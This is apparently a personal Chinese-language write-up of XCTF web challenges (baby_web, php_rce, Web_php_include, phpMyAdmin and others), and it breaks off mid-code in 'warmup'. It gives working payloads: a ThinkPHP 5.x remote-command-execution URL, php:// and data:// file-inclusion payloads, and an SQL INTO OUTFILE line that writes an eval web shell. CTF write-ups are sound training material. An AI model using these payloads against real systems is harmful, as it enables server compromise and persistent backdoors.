XCTF攻防世界 WriteUp(Web)
感觉XCTF这个平台还是8错的,题目量也多质量也还可以,准备后面慢慢刷 新手区还是太简单了。。。这里就不放WriteUp了,直接整进阶区的 平台链接:https://adworld.xctf.org.cn/task baby_web Hint:想想初始页面是哪个 打开页面会自动跳转至1.php,尝试输入index.php访问,然后发现302跳转至1.php,然后在302响应头里找到flag: Training-WWW-Robots 这题。。。已经明示了,访问robots.txt,得到目录/fl0g.php,访问直接拿到flag:cyberpeace{f6c970f5e54f9ddf6964b44b35732dfe} php_rce 这题一打开是一个ThinkPHP的默认界面: 一开始先试了一下,访问一哈404的目录,发现只是返回正常的404界面;然后给主页加一些乱七八糟的参数,返回了错误,错误中泄露了软件版本(后面发现是我蒙中了s参数): 然后呢。。。就没有然后了,找了半天毛都找不到,robots.txt也没有信息。。。 于是百度,发现ThinkPHP 5.x好多版本都有RCE。。。emmm准备后面专门研究一下ThinkPHP的代码,这里先放一个Payload: http://111.198.29.45:41137/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=find / -name *flag* 通过这些参数执行了Linux的find指令,找到了flag所在目录/flag,于是执行cat /flag,拿到flag: 当然肯定不止这种解法,就这都任意文件写入了,直接写个马也是没问题的。 参考资料:ThinkPHP5框架缺陷导致远程命令执行、ThinkPHP 5.0.0~5.0.23 RCE 漏洞分析 Web_php_include 源代码已给出: <?php show_source(__FILE__); echo $_GET['hello']; $page=$_GET['page']; while (strstr($page, "php://")) { $page=str_replace("php://", "", $page); } include($page); ?> 这题好多解法的亚子。。。我想到的就有两种,主要思想就是文件包含和任意命令执行。 双写+php://伪协议 Payload1:?page=PhP://input+POST任意PHP命令 Payload2:?page=PhP://filter/read=convert.base64-encode/resource=fl4gisisish3r3.php,解码拿到flag data协议任意命令执行(明文和base64都可) Payload:?page=data://text/plain;base64,PD9waHAgZWNobyBmaWxlX2dldF9jb250ZW50cygiZmw0Z2lzaXNpc2gzcjMucGhwIik7Pz4= 还有几种方法是看了别人的WriteUp做的,感觉自己脑洞还不够大。。。 phpMyAdmin 御剑可以扫到phpMyAdmin和phpinfo,而且phpMyAdmin没有密码。。。然后直接登进去输入SQL语句实现本地文件包含: select "<?php eval($_POST['evil']);?>" into outfile "/tmp/evil.php"; 套娃 这个真的难想。。。绕了半天才想清楚 之前一直忽略了echo $_GET['hello'];这行代码,然后发现可以用。。。 因为show_source(__FILE__);这行代码输出的代码都是经过HTML实体编码的无法被include识别,而我们可以任意掌控hello这个参数的值,所以如果使用HTTP协议让page参数为一个带有hello参数输出的index.php,那么也可以利用hello参数进行任意命令执行(前提是php.ini中的allow_url_include设置为了On): Payload:?page=http://localhost/index.php?hello=<?show_source("fl4gisisish3r3.php");?> warmup 打开首页就一张滑稽图片,然后查看源代码发现source.php,访问拿到源代码: <?php highlight_file(__FILE__); class emmm { public static function checkFile(&$page) { $whitelist = ["source"=>"source....